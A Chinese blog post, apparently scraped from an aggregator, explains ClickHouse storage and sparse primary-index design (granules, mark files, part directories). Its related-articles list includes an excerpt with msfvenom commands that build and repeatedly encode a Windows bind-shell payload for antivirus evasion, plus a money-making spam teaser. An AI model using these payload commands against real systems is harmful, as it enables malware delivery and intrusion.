存储设计——如何优化 ClickHouse 索引(一)

news2024/10/7 18:22:15

Keypoint

  1. ClickHouse 索引与其他 RDMS 区别
  2. 稀疏主键索引及其构建
  3. ClickHouse 索引最佳实践

ClickHouse 的索引设计

  Whole data:     [---------------------------------------------]
  CounterID:      [aaaaaaaaaaaaaaaaaabbbbcdeeeeeeeeeeeeefgggggggghhhhhhhhhiiiiiiiiikllllllll]
  Date:           [1111111222222233331233211111222222333211111112122222223111112223311122333]
  Marks:           |      |      |      |      |      |      |      |      |      |      |
                  a,1    a,2    a,3    b,3    e,2    e,3    g,1    h,2    i,1    i,3    l,3
  Marks numbers:   0      1      2      3      4      5      6      7      8      9      10

从文件目录看 ClickHouse 存储设计

/var/lib/clickhouse
- DataBase
  - Table
    - Parts all/Partition_key xxxx (分区键影响parts 数量)
      - checksum.txt (例如因为同步导致all broken parts to remove错误)
      - columns.txt (列及对应格式的数据)
      - count.txt (当前数据块条数)
      - default_compression_codec.txt(压缩格式,默认 LZ4)
      - primary.idx 主键索引 (可以与 ORDER BY 不同)
      - Column.bin(数据文件,压缩后可能是 1:6,2:7,3:4....,在 Compact 模式下,只有一个 bin)
      - Column.mk2 (好像都一样大小,像是 Mark的缩写?)

从存储文件夹中可以看到,分级大概是
表 -> Parts -> 主键索引(idx)、各个列数据文件(bin)、列数据对应 Mark(mk2) 及其他元数据文件。

bin 文件受主键排序及 ORDER BY 键以及插入顺序所影响。

相同数据受低基数及高基数主键排序影响,如下所示,是数据相同但主键不同的表的相同 part,高基数排列的表,除 URL 列外,其他两个列的数据文件大小均比低基数排列的表要大。但实际查询的时候是否高基数会更快呢?打个问号。

# 高基数排列
drwxr-x--- 13 root       root             416 Nov  8 01:25 .
drwxr-x---  7 clickhouse clickhouse       224 Nov  8 01:34 ..
-rw-r-----  1 root       root             349 Nov  8 01:25 checksums.txt
-rw-r-----  1 root       root              82 Nov  8 01:25 columns.txt
-rw-r-----  1 root       root               7 Nov  8 01:25 count.txt
-rw-r-----  1 root       root              10 Nov  8 01:25 default_compression_codec.txt
-rw-r-----  1 root       root          269624 Nov  8 01:25 IsRobot.bin
-rw-r-----  1 root       root           21624 Nov  8 01:25 IsRobot.mrk2
-rw-r-----  1 root       root           75638 Nov  8 01:25 primary.idx
-rw-r-----  1 root       root       120469184 Nov  8 01:25 URL.bin
-rw-r-----  1 root       root           21624 Nov  8 01:25 URL.mrk2
-rw-r-----  1 root       root         9964518 Nov  8 01:25 UserID.bin
-rw-r-----  1 root       root           21624 Nov  8 01:25 UserID.mrk2


# 低基数排列
drwxr-x--- 13 root       root             416 Nov  8 01:34 .
drwxr-x---  8 clickhouse clickhouse       256 Nov  8 01:45 ..
-rw-r-----  1 root       root             348 Nov  8 01:34 checksums.txt
-rw-r-----  1 root       root              82 Nov  8 01:34 columns.txt
-rw-r-----  1 root       root               7 Nov  8 01:34 count.txt
-rw-r-----  1 root       root              10 Nov  8 01:34 default_compression_codec.txt
-rw-r-----  1 root       root           32717 Nov  8 01:34 IsRobot.bin
-rw-r-----  1 root       root           21528 Nov  8 01:34 IsRobot.mrk2
-rw-r-----  1 root       root           77519 Nov  8 01:34 primary.idx
-rw-r-----  1 root       root       158361024 Nov  8 01:34 URL.bin
-rw-r-----  1 root       root           21528 Nov  8 01:34 URL.mrk2
-rw-r-----  1 root       root          785254 Nov  8 01:34 UserID.bin
-rw-r-----  1 root       root           21528 Nov  8 01:34 UserID.mrk2

隐含的 Granule —— 并发的最小读取单位

mk2 是一眼看不出内容的文件,不同列的文件大小(几乎)相同。

在创建表时经常看到一个设置, granule=8192,但在存储文件中似乎没有与之相关的内容。这个 Granule 实际上就与 mk2 绑定,而 idx 大小也和它挂钩

ClickHouse 借由二分索引对主键索引数据块进行搜索,跳过不需要的数据组,这个组就是隐含的 Granule。

默认一个 Granule 由 8192 行数据组成。每 8192 行就有一个主键索引作为数据入口。

为了把主键完整地放入主内存,要求主键必须足够小,因此有时候会独立定义一个主键和 ORDER BY 键(主键必须是 ORDER BY 键的前缀)。

一个 887 万的数据主键索引只有 1083 个索引值。MySQL 则必须将主键全部索引,当然,好处是它可以借助 B 树索引到某条记录,而在并发读取数据时, ClickHouse 则至少需要读 8190 行。

除最后一列外,每个 Granule 的主键索引皆为该组合列的最小值,使之单调递增,但未必指向具体的行。如下图所示,UserID 与 URL 构成的主键并不在同一行。

-- Granule0, Mark 0
240.923,goal://metry=10000467796a411...
-- Granule1, Mark1
4073,710,goal://dream...

image.png

标记主键 idx——ClickHouse 的排除法

假设先按 UserID 再按 URL 排序,这表示 UserID 这一列的数据是 100% 按字母顺序(lexicographical Ordering)单调递增的,240.923 就是所有 UserID 数据中最小的

但 URL 作为次一级,只能保证在该 Granule 里是最小的,例如 Granule 0里的 goal://metry=10000467796a411,其他 Granule 不能保证。

但是是否意味着只能在同一个 Granule 中做排除呢?也不是,如果 Granule0-3 都是相同 UserID,那么同样可以确认 goal://metry=10000467796a411 是这三个块里面最小的,查询小于这个值时,三个皆可排除

这里你可能看到了优化的曙光,后文将详谈。

Mk2——数据的“指针”

-- Column.mk2 --
-- 压缩后的数据块位置(bin)
-- 解压后的数据块位置
block_offset,granule_offset

mk2

标记文件是实际数据的“指针”,分别指向解压前后的具体数据块位置,前面提到 Granule 是最小并发读取单位,这里可以更明确这一概念:

  • Stage 1:ClickHouse 通过主键索引排除 Granule
  • Stage 2:未被排除的 Granule 根据编号在 mk2 中找到对应的数据块解压获取数据,由于数据是压缩的,解压本身似乎暗含了按块读取的必然性。

mk2 的设计也符合列式数据库的设计方式,方便删除单列(主键除外)而不需要修改索引,需要读取特定列的数据再读以减少内存占用。

而同时也说明一个常见的查询“偷懒”习惯 SELECT * 危害之大:
越多的列被选中,则需要打开的文件解压的数据越多,如果是一个数据量大的列(例如响应体)势必需要消耗更多的内存和 CPU。

下图是查询某用户的 Top 10 URL 访问的数据读取图

SELECT URL, count(URL) AS Count
FROM hits_UserID_URL
WHERE UserID = 749927693
GROUP BY URL
ORDER BY Count DESC
LIMIT 10;

读取数据

Ref: Block In ClickHouse

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22851.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于stm32的flash内存

关于stm32的flash操作,网上已经有很多详细的介绍了,这里只是总结一些告诫。 在使用flash存储数据的时候,对于新手来说,并不知道该把数据存在哪一个地址上,怕存到程序区域,或者越界。 关于这一点很容易搞清楚…

第三十五篇 Swiper 引入使用

对于Swiper来说,相信有很多人都有一定的理解,也有使用过swiper插件的,封装过类似的组件,Swiper的一个使用是非常广泛的,是开源免费、非常强大的一个触摸滑动组件,最典型的就是轮播图了;大家可以…

【机器学习技巧】回归模型的几个常用评估指标(R2、Adjusted-R2、MSE、RMSE、MAE、MAPE)及其在sklearn中的调用方式

目录回归模型评估的两个方面1. 预测值的拟合程度2. 预测值的准确度以糖尿病数据集的回归模型为计算示例-计算各指标1. 决定系数R21.1 R2求解方式一----从metrics调用r2_socre1.2 R2求解方式二----从模型调用score1.3 R2求解方式二----交叉验证调用scoringr22. 校准决定系数Adju…

【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

🏆个人主页:企鹅不叫的博客 ​ 🌈专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接:代码仓库地址 ⚡若有帮助可以【关注点赞收藏】…

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 ,这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于,可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进?请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树,被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡;导致带宽利用率、设备资源利用率较低 (1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

👨‍🎓个人主页:研学社的博客 💥💥💞💞欢迎来到本博客❤️❤️💥💥 🏆博主优势:🌞🌞🌞博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表(完整版)一、介绍二、compareTo()使用场景场景一:数值型字符串比较场景二:排序比较场景三:对相同结构的日期比较三、源码分析四、全量ASCII 码表(完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年,所有浏览器都完整的支持ECMAScript 5.1,旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日,ECMA国际组织发布了 ECMAScript 的第六版,该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好,我是阿阳 今天给大家分享CSGO搬砖项目,这个是最为稳定利润可观的项目,一个月净赚3万 阿阳网络创始人,8年互联网项目实战经验,个人ip打造【玩赚steam,3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置: Jdk1.8 Tomcat7.0 Mysql HBuilderX(Webstorm也行) Eclispe(IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持)。 项目技术: SSM mybatis Maven Vue 等等组成,B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法: 一种是继承Thread类,重写run方法: public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源,他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用,打印结果就会混乱输出结果;如果一个内存资源被多个进程同时修改,进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked 🔥系列专栏:Hack The Box 🎉欢迎关注🔎点赞👍收藏⭐️留言📝 📆首发时间:🌴2022年11月17日🌴 &#x…

Java多线程从基本概念到精通大神,大佬给我们铺平学习之路

Java 提供了多线程编程的内置支持,让我们可以轻松开发多线程应用。 Java 中我们最为熟悉的线程就是 main 线程——主线程。 一个进程可以并发多个线程,每条线程并行执行不同的任务。线程是进程的基本单位,是一个单一顺序的控制流,…

常见的限流算法与实现

限流的实现 常见的限流算法: 限流是对某一时间窗口内的请求数进行限制,保持系统的可用性和稳定性,防止因流量暴增而导致的系统运行缓慢或宕机。 常见的限流算法有三种: 计数器限流(固定窗口) 原理: 时间线划分为多…

Dubbo3.0入门-Java版

Dubbo 简介 ​ Apache Dubbo 是一款 RPC 服务开发框架,用于解决微服务架构下的服务治理与通信问题,官方提供了 Java、Golang 等多语言 SDK 实现。使用 Dubbo 开发的微服务原生具备相互之间的远程地址发现与通信能力, 利用 Dubbo 提供的丰富服…

【软件测试】测试人终将迎来末路?测试人的我35岁就坐等失业?

目录:导读一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结(尾部小惊喜)一句话萦绕在耳畔测试乃至测开…

02 LaTex之小tips

1.运行 2.头+尾 \documentclass[11pt]{article}\usepackage{algorithm, algpseudocode} \usepackage{amsmath,amssymb,amsthm} \usepackage{mathrsfs}% huaxie zimu \textwidth 16cm\textheight 22cm\oddsidemargin0cm\evensidemargin\oddsidemargin\usepackage{un…